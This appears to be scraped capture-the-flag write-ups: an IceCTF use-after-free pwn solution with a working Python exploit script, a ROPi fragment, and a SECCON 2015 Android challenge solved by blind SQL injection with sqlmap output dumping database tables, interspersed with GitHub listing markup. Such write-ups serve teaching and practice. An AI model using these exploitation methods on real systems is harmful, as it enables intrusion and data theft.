There's a read 0x40 bytes at `0x08048562` when only 0x38 allocated. So it's pretty easy exploitable.
Then you need open file and get fd -> read by that fd -> print read data. So the flow should be ret->ori->pro. Then is simply working with right layer and correct magic nums at [exploit](./ropi_exploit.py).
Flag: `IceCTF{italiano_ha_portato_a_voi_da_google_tradurre}` |
main(a){char f[80];void *fp;fp=fopen("../flag.txt","r");fscanf(fp,"%s",f);printf(a="main(a){char f[80];void *fp;fp=fopen(%c../flag.txt%c,%cr%c);fscanf(fp,%c%cs%c,f);printf(a=%c%s%c,34,34,34,34,34,37,34,34,a,34,f);}\/\/%s.",34,34,34,34,34,37,34,34,a,34,f);} |
# Drumpf Hotels (Pwn, 75)
In the task description we are given the following info:>Drumpf Hotels - Making security great again! >Donald Drumpf decided to move his hotel operations online. Since he isn't very fond of foreigners coding for him, he dediced to code the platform with his own tiny hands.
A little bit info about task file:```File name : drumpf File type : ELF 32-bit LSB executable SHA1 : e06887d95dce0a05f0c9c932b1c0eba70f2516cd```
And some `checksec` details:```gdb-peda$ checksecCANARY : ENABLEDFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial```
Tools used: >IDA Pro
Let's go straight to the `main()` and see what's there for us:```cint __cdecl main(int argc, const char **argv, const char **envp){ char choice[4]; int security_cookie;
... print_logo(); while ( 1 ) { print_menu(); fgets(choice, 4, stdin); switch ( atoi(choice) ) { case 1: book_suite(); // interesting break; case 2: book_room(); // interesting break; case 3: delete_booking(); // interesting break; case 4: print_booking(); // interesting break; case 5: puts("Make overflows great again!"); fflush(stdout); return 0; default: puts("Invalid choice!"); fflush(stdout); break; } }}```
Ok, everything here seems to be self-explanatory. We can either `book_suite()`, `book_room()`, `delete_booking()` or `print_booking()`. There is also `flag()` function that doesn't have any reference in the binary.
```cint flag(){ ... char buf[256]; ... fd = open("./flag.txt", 0); read(fd, buf, 0x100u); printf("%s", buf); fflush(stdout); ...}```Oh, it just reads the flag and prints it to the _stdout_. If it's here, there's definitely some purpose for that.
But, let's go back to those marked functions and see what they do.```cstruct suite_struct { void * fnPrintName; uint8_t name[256]; uint32_t number;};
int book_suite(){ suite_struct *suite_info; char suite_no[16];
... suite = malloc(sizeof(suite_struct)); printf("Name: "); fflush(stdout); fgets(suite->name, 256, stdin); suite->fnPrintName = print_name; // important! printf("Suite number: "); fflush(stdout); fgets(suite_no, 16, stdin); suite_info = suite; suite_info->number = atoi(suite_no); puts("Booked a suite!"); fflush(stdout); ...}```
Just for convenience, I added a custom structure to IDA so I could clearly see what's going on here.
Summary:> `suite_struct` is allocated on heap using `malloc()` and filled in > Suite name `fgets(suite->name, 256, stdin);` > Function that will print out the name `suite->fnPrintName = print_name;` > Suite number `suite_info->number = atoi(suite_no);`
Let's take a look at `print_name()` function.
```cint __cdecl print_name(int a1){ ... printf("Name: %s", a1); fflush(stdout); ...}```
Ok, so it just prints out as a string whatever is passed in the first argument.
Let's go further.```cstruct room_struct { uint32_t number; uint8_t name[256];};
int book_room(){ room_struct *room_info; char room_no[16];
... room = malloc(sizeof(room_struct)); printf("Name: "); fflush(stdout); fgets(room->name, 256, stdin); printf("Room number: "); fflush(stdout); fgets(room_no, 16, stdin); room_info = room; room_info->number = atoi(room_no); puts("Booked a room!"); fflush(stdout); ...}```
Again, for convenience, I added another structure.
Summary:> `room_struct` is allocated on heap using `malloc()` and filled in > Room name `fgets(room->name, 256, stdin);` > Room number `room_info->number = atoi(room_no);`
Moving on...```cint delete_booking(){ ... if ( suite || room ) { if ( suite ) { free(suite); puts("Suite booking deleted!"); fflush(stdout); } if ( room ) { free(room); puts("Room booking deleted!"); fflush(stdout); } } else { printf("No booking found!"); fflush(stdout); } ...}```
Here we can see that `suite` and/or `room` structure are/is freed. What's worth noting is fact that after freeing, there's no `NULL` assignment to a freed buffer. We will use that fact later.
And the last function to look at:```cint print_booking(){ ... if ( suite || room ) { if ( suite ) { (suite->fnPrintName)(suite->name); printf("Rooms number: %u\n", suite->number); fflush(stdout); } if ( room ) { printf("Name: %s", room->name); printf("Rooms number: %u\n", room->number); fflush(stdout); } } else { printf("No booking found!"); fflush(stdout); } ...}```
As it says, it prints `suite` and/or `room`. Although in case of `suite` it uses a structure member `fnPrintName` called with one argument.
What we can see here is typical example of `Use After Free vulnerability`.
Here's short example in python:```python>>> import ctypes>>> libc = ctypes.cdll.LoadLibrary('libc.so.6')>>> libc.malloc(264)157601144>>> libc.malloc(264)157462264>>> libc.malloc(264)157598936>>> libc.malloc(264)157599208>>> libc.free(_)1>>> libc.malloc(260)157599208>>>```
And a brief explanation:>Buffer at address `157599208` of size `264` is created. >Buffer at address `157599208` is freed. >Buffer at address `157599208` of size `260` is allocated again.
But, how can we use that? Remember the structure layout for `suite_struct` and `room_struct`? If not let's bring them back.
```cstruct suite_struct { void * fnPrintName; uint8_t name[256]; uint32_t number;};
struct room_struct { uint32_t number; uint8_t name[256];};```
What is a room number in case of `room_struct`, can be used as `fnPrintName` in case of `suite_struct`. This way we could get execution of arbitrary function.
How does that help us? Remember `flag()` function that didn't have any reference? What if we pass its address `0x0804863D` as a room number (in decimal, because of `atoi()`), and then reuse that object as a suite (using `print_booking()`)?We would have execution of `0x0804863D`.
Perfect, let's do it!
```pythonimport structimport socket
s = socket.create_connection( ( 'drumpf.vuln.icec.tf', 6502 ) )print s.recv(4096)print s.recv(4096)
for i in xrange( 4 ): s.send('1\n') # add suite print s.recv(4096) s.send('foo\n') # suite name print s.recv(4096) s.send('1\n') # suite number print s.recv(4096) print s.recv(4096)
s.send('3\n') # delete bookingprint s.recv(4096)
s.send('2\n') # add roomprint s.recv(4096)
s.send('foo\n') # room nameprint s.recv(4096)s.send('134514237\n') # room number 0x804863Dprint s.recv(4096)print s.recv(4096)
print s.send('4\n') # print bookingprint repr( s.recv(4096) )print repr( s.recv(4096) )```
And that's it, we get the flag `IceCTF{they_can_take_our_overflows_but_they_will_never_take_our_use_after_freeeedom!}` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-notes</span></span></span><span>/</span>2016-IceCTF<span>/</span> </div> </div>
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<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Dear_diary-Pwn-60.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Drumpf-Hotels-Pwn-75.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Geocities-Web-100.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ImgBlog-Web-120.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Intercepted_Conversations_Pt.1-Forensics-115.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Intercepted_Conversations_Pt.2-Forensics-125-crack.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Intercepted_Conversations_Pt.2-Forensics-125.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Miners-Web-65.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Pretty_Pixels-Stego-80.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>RIP_Transmission-65.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ROPi-Pwn-75.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Root_of_All_Evil-Forensics-150.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Slickserver-Pwn-140.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>So_Close-Pwn-85.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>l33tcrypt-Cryptography-90-challenge.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
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Hello, I’m h2spiceHere is SECCON 2015 – Unknown 400 – Reverse Engineering Android APK(2) WriteUp .There were two points I considered and put a lot of effort into making a scenarios.The first thing was ,it should be a practical problem that could happen in real world and the other thing was how to make a interesting process out of it.now I’m wondering how contestants have thought on it.(if any problem , please let me know I’d be appreciated and apply to another chance)The matter was on anAndroid app with three features; Log-in, Sign up, ViewOnly particular user can be obtained the SECCON{…} authentication key.There is a possible degree of vulnerability to do SQL-Injection in Email parameter of Login.php and register.php.The problem should be resolved by Blind SQL Injection attack since Http response is delivered in Json typeWith the figure below, you can identify vulnerabilities in SQL-Injection by inserting Query in E-mail form.When Analyzed decompiled code , you will see that Seccon {…}Key uses uid(unique-id) to encrypt.Cut the uid as much [index i:index j] and use as AES key and ( i,j )variables are obfuscated.Since SECCON{…} Key is encrypted in particular user’s uid, there are only two ways to obtain uid which The Brute- force Attack and Taking Server’ DatabaseThat’s because you get limited time( 24hours) for this competition, Brute-force Attack isn’t a right strategy.you must go with the other one which is to take server’s Database.When you Sign up or Sign in , HTTP POST Parameter is transmitted as being AES encrypted.AES key is composed of the obfuscated data.Obfuscator is implemented a Feistel-Cipher using a simplePRNG(Pseudorandom number generator) as the function ‘b’. (http://en.wikipedia.org/wiki/Feistel_cipher)static final int a = a(a("FENX0TONI0")); //seed = seed_generator(deObfuscator("FENX0TONI0"));On the code above, “static final int a” is the Seed used for deObfuscator.Since deObfuscator calls PRNG(pseudorandom number generator) , PRNG( ) generates Random number refering seed.However here is a simple trap . It does pretend as if the “seed “is in situation even if it is not existed yet.In fact ,when object: j.class(Obfuscator) is to generate , int a(seed)is initialized ‘zero’.And obfuscated data “FENX0TONI0″ is also ‘zero’ when it is solved.When Argument of Seed -Generator entered ‘0’, It doesn’t matter how many times you do shift operation internally, it stays in ‘zero’ for the whole time.In this way, you can not only solve obfuscation but find the AES key.login.php POST parameter AES Key is "3246847986364861"register.php POST paraneter AES Key is "9845674983296465"With AES key with Figure above , generate Parameter and go forward on Blind SQL Injection attack.In my case, I modified the code on SQLMap(http://sqlmap.org/)If Blind-SQL Injection Attack succeeded, Player could get seccon2015-database information[10:04:32] [INFO] retrieving the length of query output[10:04:32] [INFO] resumed: 24[10:04:32] [INFO] resumed: INNODB_BUFFER_POOL_STATS[10:04:32] [INFO] retrieving the length of query output[10:04:32] [INFO] resumed: 17[10:04:32] [INFO] resumed: INNODB_LOCK_WAITS[10:04:32] [INFO] retrieving the length of query output[10:04:32] [INFO] resumed: 13[10:04:32] [INFO] resumed: INNODB_CMPMEM[10:04:32] [INFO] retrieving the length of query output[10:04:32] [INFO] resumed: 10[10:04:32] [INFO] resumed: INNODB_CMP[10:04:32] [INFO] retrieving the length of query output[10:04:32] [INFO] resumed: 12[10:04:32] [INFO] resumed: INNODB_LOCKS[10:04:32] [INFO] retrieving the length of query output[10:04:32] [INFO] resumed: 19[10:04:32] [INFO] resumed: INNODB_CMPMEM_RESET[10:04:32] [INFO] retrieving the length of query output[10:04:32] [INFO] resumed: 16[10:04:32] [INFO] resumed: INNODB_CMP_RESET[10:04:32] [INFO] retrieving the length of query output[10:04:32] [INFO] resumed: 22[10:04:32] [INFO] resumed: INNODB_BUFFER_PAGE_LRU[10:04:32] [INFO] fetching number of tables for database 'seccon2015'[10:04:32] [INFO] resumed: 1[10:04:32] [INFO] retrieving the length of query output[10:04:32] [INFO] resumed: 5[10:04:32] [INFO] resumed: usersDatabase: information_schema[40 tables]+---------------------------------------+| CHARACTER_SETS || COLLATIONS || COLLATION_CHARACTER_SET_APPLICABILITY || COLUMNS || COLUMN_PRIVILEGES || ENGINES || EVENTS || FILES || GLOBAL_STATUS || GLOBAL_VARIABLES || INNODB_BUFFER_PAGE || INNODB_BUFFER_PAGE_LRU || INNODB_BUFFER_POOL_STATS || INNODB_CMP || INNODB_CMPMEM || INNODB_CMPMEM_RESET || INNODB_CMP_RESET || INNODB_LOCKS || INNODB_LOCK_WAITS || INNODB_TRX || KEY_COLUMN_USAGE || PARAMETERS || PARTITIONS || PLUGINS || PROCESSLIST || PROFILING || REFERENTIAL_CONSTRAINTS || ROUTINES || SCHEMATA || SCHEMA_PRIVILEGES || SESSION_STATUS || SESSION_VARIABLES || 